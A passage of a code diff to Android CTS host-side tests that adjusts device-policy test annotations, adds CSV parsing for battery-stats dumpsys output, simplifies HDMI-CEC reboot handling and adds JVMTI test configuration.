+ CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+ Thread.currentThread(), granted, attempt);
+ }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+ executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+ }
+
@FlakyTest(bugId = 126955083)
@Test
public void testUserAddedOrRemovedBroadcasts() throws Exception {
@@ -832,7 +879,7 @@
}
@Test
- @Ignore("b/204508654")
+ @Ignore("b/230738884")
public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotStopped()
throws Exception {
assumeCanCreateAdditionalUsers(1);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 75af1c8..5132bf2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -35,6 +35,7 @@
import org.junit.Ignore;
import org.junit.Test;
+import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
@@ -88,6 +89,16 @@
super.tearDown();
}
+ @Override
+ protected void installAppPermissionAppAsUser()
+ throws FileNotFoundException, DeviceNotAvailableException {
+ super.installAppPermissionAppAsUser();
+
+ if (isHeadlessSystemUserMode()) {
+ installAppPermissionAppAsUser(mDeviceOwnerUserId);
+ }
+ }
+
@Test
public void testLockTask_unaffiliatedUser() throws Exception {
assumeCanCreateAdditionalUsers(1);
@@ -107,6 +118,24 @@
userId);
}
+ @Override
+ @Test
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ public void testDelegation() throws Exception {
+ super.testDelegation();
+ }
+
+ @Override
+ @Test
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ public void testDelegationCertSelection() throws Exception {
+ super.testDelegationCertSelection();
+ }
+
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
@Test
public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
setUpDelegatedCertInstallerAndRunTests(() ->
@@ -115,6 +144,13 @@
"testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
}
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ @Override
+ public void testDelegatedCertInstaller() throws Exception {
+ super.testDelegatedCertInstaller();
+ }
+
@FlakyTest(bugId = 141161038)
@Override
@Test
@@ -140,22 +176,6 @@
executeDeviceTestClass(".AdminConfiguredNetworksTest");
}
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
- reason = "Will be migrated to new test infra")
- public void testAccountManagement_userRestrictionAddAccount() throws Exception {
- super.testAccountManagement_userRestrictionAddAccount();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
- reason = "Will be migrated to new test infra")
- public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
- super.testAccountManagement_userRestrictionRemoveAccount();
- }
-
@Test
public void testSetTime() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -443,6 +463,15 @@
public void testPermissionPrompts() throws Exception {
}
+
+ @Override
+ @LargeTest
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI")
+ public void testPackageInstallUserRestrictions() throws Exception {
+ super.testPackageInstallUserRestrictions();
+ }
+
@Override
@Test
@IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
@@ -501,52 +530,48 @@
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testKeyManagement() throws Exception {
- super.testKeyManagement();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testGenerateKeyPairLogged() throws Exception {
- super.testGenerateKeyPairLogged();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testDelegatedCertInstallerDirectly() throws Exception {
- super.testDelegatedCertInstallerDirectly();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testSetKeyGrant() throws Exception {
- super.testSetKeyGrant();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testSetKeyPairCertificateLogged() throws Exception {
- super.testSetKeyPairCertificateLogged();
- }
-
- @Override
- @Test
@IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
public void testSetKeyguardDisabledFeatures() throws Exception {
super.testSetKeyguardDisabledFeatures();
}
@Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionAppUpdate() throws Exception {
+ super.testPermissionAppUpdate();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionMixedPolicies() throws Exception {
+ super.testPermissionMixedPolicies();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionPolicy() throws Exception {
+ super.testPermissionPolicy();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+ super.testAutoGrantMultiplePermissionsInGroup();
+ }
+
+ @Override
+ @Test
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+ throws Exception {
+ super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+ }
+
+ @Override
public void testApplicationHidden() throws Exception {
if (isHeadlessSystemUserMode()) {
// Must run on user 0 because the test has a broadcast receiver that listen to packages
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 11f24fa..d6ac485 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -25,6 +25,7 @@
import java.io.File;
import java.io.IOException;
import java.io.StringReader;
+import java.util.ArrayList;
import java.util.HashSet;
import java.util.Set;
@@ -36,6 +37,41 @@
private static final String TEST_PKG = "com.android.cts.framestatstestapp";
/**
+ * Parse each line from output of dumpsys to handle special fields such as
+ * 'aaa,"bbb,ccc",ddd', to capture properly.
+ */
+ private static String[] parseCsv(String line) {
+ ArrayList<String> parts = new ArrayList<>();
+ String[] splitStrings = line.split(",", -1);
+ String s = "";
+ boolean escaping = false;
+ for (String splitString : splitStrings) {
+ if (escaping) {
+ s += "," + splitString;
+ } else {
+ if (splitString.startsWith("\"")) {
+ // Field start with ". Start escaping.
+ s = splitString;
+ escaping = true;
+ } else {
+ parts.add(splitString);
+ }
+ }
+ if (escaping && s.length() > 1 && s.endsWith("\"")) {
+ // Field end with ". Stop escaping.
+ parts.add(s.substring(1, s.length() - 1));
+ escaping = false;
+ }
+ }
+ if (escaping) {
+ // Unclosed escaping string. Add it anyway.
+ parts.add(s.substring(1));
+ }
+
+ return parts.toArray(new String[parts.size()]);
+ }
+
+ /**
* Tests the output of "dumpsys batterystats --checkin".
*
* @throws Exception
@@ -58,11 +94,7 @@
try {
- // With a default limit of 0, empty strings at the end are discarded.
- // We still consider the empty string as a valid value in some cases.
- // Using any negative number for the limit will preserve a trailing empty string.
- // @see String#split(String, int)
- String[] parts = line.split(",", -1);
+ String[] parts = parseCsv(line);
assertInteger(parts[0]); // old version
assertInteger(parts[1]); // UID
switch (parts[2]) { // aggregation type
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 6c251a2..f237edb 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -64,8 +64,7 @@
@Test
public void cect_10_2_5_1_RebootLogicalAddress() throws Exception {
ITestDevice device = getDevice();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ device.reboot();
String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
assertThat(CecMessage.getSource(message)).isEqualTo(AUDIO_DEVICE);
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index d6da4c3..93d8100 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -20,7 +20,6 @@
import android.hdmicec.cts.BaseHdmiCecCtsTest;
import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -70,8 +69,7 @@
CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
allowedMessages.addAll(expectedMessages);
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ device.reboot();
/* Monitor CEC messages for 20s after reboot */
final List<CecOperand> messagesReceived =
hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
@@ -108,8 +106,7 @@
List<CecOperand> expectedMessages = Arrays.asList(CecOperand.REPORT_PHYSICAL_ADDRESS,
CecOperand.REPORT_FEATURES);
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ device.reboot();
/* Monitor CEC messages for 20s after reboot */
final List<CecOperand> messagesReceived =
hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
index 125b1e3..fc5226e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -43,7 +43,7 @@
private static final int ON = 0x0;
private static final int OFF = 0x1;
- private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+ private static final int DUT_DEVICE_TYPE = HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE;
@Rule
public RuleChain ruleChain =
@@ -55,7 +55,7 @@
.around(hdmiCecClient);
public HdmiCecTvPowerToggleTest() {
- super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+ super(DUT_DEVICE_TYPE);
}
/**
@@ -65,6 +65,7 @@
@Test
public void cectTvPowerToggleTest_awake_noActiveSource_tvOn() throws Exception {
ITestDevice device = getDevice();
+ LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
// Make sure the device is not booting up/in standby
device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
String previousPowerControlMode =
@@ -72,7 +73,7 @@
String previousPowerStateChange = setPowerStateChangeOnActiveSourceLost(
HdmiCecConstants.POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST_NONE);
try {
- simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+ simulateCecSinkConnected(device, dutLogicalAddress);
hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
CecOperand.ACTIVE_SOURCE, CecMessage.formatParams("0000"));
TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
@@ -80,7 +81,7 @@
WakeLockHelper.acquirePartialWakeLock(device);
device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
- hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
// Verify that device is asleep and <Standby> was sent to TV.
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
@@ -99,19 +100,20 @@
@Test
public void cectTvPowerToggleTest_awake_activeSource_tvOn() throws Exception {
ITestDevice device = getDevice();
+ LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
// Make sure the device is not booting up/in standby
device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
String previousPowerControlMode =
setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
try {
- simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+ simulateCecSinkConnected(device, dutLogicalAddress);
device.executeShellCommand("input keyevent KEYCODE_HOME");
TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
hdmiCecClient.clearClientOutput();
WakeLockHelper.acquirePartialWakeLock(device);
device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
- hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
// Verify that device is asleep and <Standby> was sent to TV.
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
@@ -129,18 +131,19 @@
@Test
public void cectTvPowerToggleTest_asleep_tvOn() throws Exception {
ITestDevice device = getDevice();
+ LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
// Make sure the device is not booting up/in standby
device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
String previousPowerControlMode =
setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
try {
- simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+ simulateCecSinkConnected(device, dutLogicalAddress);
sendDeviceToSleep();
TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
hdmiCecClient.clearClientOutput();
device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
- hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
// Verify that device is asleep and <Standby> was sent to TV.
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
@@ -158,18 +161,19 @@
@Test
public void cectTvPowerToggleTest_asleep_tvOff() throws Exception {
ITestDevice device = getDevice();
+ LogicalAddress dutLogicalAddress = getTargetLogicalAddress(device, DUT_DEVICE_TYPE);
// Make sure the device is not booting up/in standby
device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
String previousPowerControlMode =
setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
try {
- simulateCecSinkConnected(device, PLAYBACK_DEVICE);
+ simulateCecSinkConnected(device, dutLogicalAddress);
sendDeviceToSleep();
TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
hdmiCecClient.clearClientOutput();
device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
- hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, dutLogicalAddress,
CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
// Verify that device is awake and <Text View On> and <Active Source> were sent.
hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a..6454624 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
<configuration description="Config for CTS Input Method Service host test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
index 176ef69..4388209 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1924" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
index 9b8f768..b3fab4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1925" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
index a07a28f..ee5da05 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1926" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
index d51b1b6..57cf5cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1936" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/jvmti/run-tests/test-1940/Android.bp
similarity index 64%
copy from hostsidetests/tzdata/Android.bp
copy to hostsidetests/jvmti/run-tests/test-1940/Android.bp
index be847bd..d22acd8 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1940/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2017 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -17,19 +17,15 @@
}
java_test_host {
- name: "CtsHostTzDataTests",
- defaults: ["cts_defaults"],
- // Only compile source java files in this apk.
- srcs: ["src/**/*.java"],
- libs: ["tradefed"],
- static_libs: [
- "tzdata-testing",
- "time_zone_distro",
- "time_zone_distro_builder",
- ],
- // Tag this module as a cts test artifact
+ name: "CtsJvmtiRunTest1940HostTestCases",
+ static_libs: ["CtsJvmtiHostTestBase"],
+ jarjar_rules: "jarjar-rules.txt",
test_suites: [
"cts",
"general-tests",
],
-}
+ data: [":CtsJvmtiRunTest1940DeviceApp"],
+ test_options: {
+ unit_test: false,
+ },
+}
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml
new file mode 100644
index 0000000..75374f0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+ <option name="test-suite-tag" value="cts"/>
+ <!-- Requires debuggable -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="component" value="art" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJvmtiRunTest1940DeviceApp.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsJvmtiRunTest1940HostTestCases.jar" />
+ <option name="set-option" value="test-file-name:CtsJvmtiRunTest1940DeviceApp.apk" />
+ <option name="set-option" value="package-name:android.jvmti.cts.run_test_1940" />
+ <option name="set-option" value="hidden-api-checks:false" />
+ <option name="runtime-hint" value="8s"/>
+ </test>
+</configuration>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
copy to hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
index ec76abd..711cd0c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -17,19 +17,7 @@
}
android_test_helper_app {
- name: "CVE-2021-0481",
- defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
- test_suites: [
- "cts",
- "vts10",
- "sts",
- ],
- static_libs: [
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- "androidx.test.core",
- "androidx.appcompat_appcompat",
- ],
- sdk_version: "current",
-}
+ name: "CtsJvmtiRunTest1940DeviceApp",
+ defaults: ["cts-run-jvmti-defaults"],
+ manifest: "AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml
new file mode 100644
index 0000000..57a57ab
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jvmti.cts.run_test_1940">
+
+ <application android:debuggable="true">
+ <uses-library android:name="android.test.runner" />
+ <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1940" />
+ <activity android:name="android.jvmti.JvmtiActivity" >
+ </activity>
+ </application>
+
+ <!-- self-instrumenting test package. -->
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for JVMTI"
+ android:targetPackage="android.jvmti.cts.run_test_1940" >
+ </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt
new file mode 100644
index 0000000..1052cee
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1940@1
diff --git a/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
index 1d29560..1bed7f1 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1982" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
index b04fa7b..6f1d556 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1995" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
index 673d7d0..c5ecaec 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
<application android:debuggable="true">
<uses-library android:name="android.test.runner" />
<meta-data android:name="android.jvmti.cts.run_test_nr" android:value="2004" />
- <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
- <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
<activity android:name="android.jvmti.JvmtiActivity" >
</activity>
</application>
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 070b44d..c07fa07 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -25,6 +25,11 @@
<option name="dynamic-config-name" value="cts-dynamic-config" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
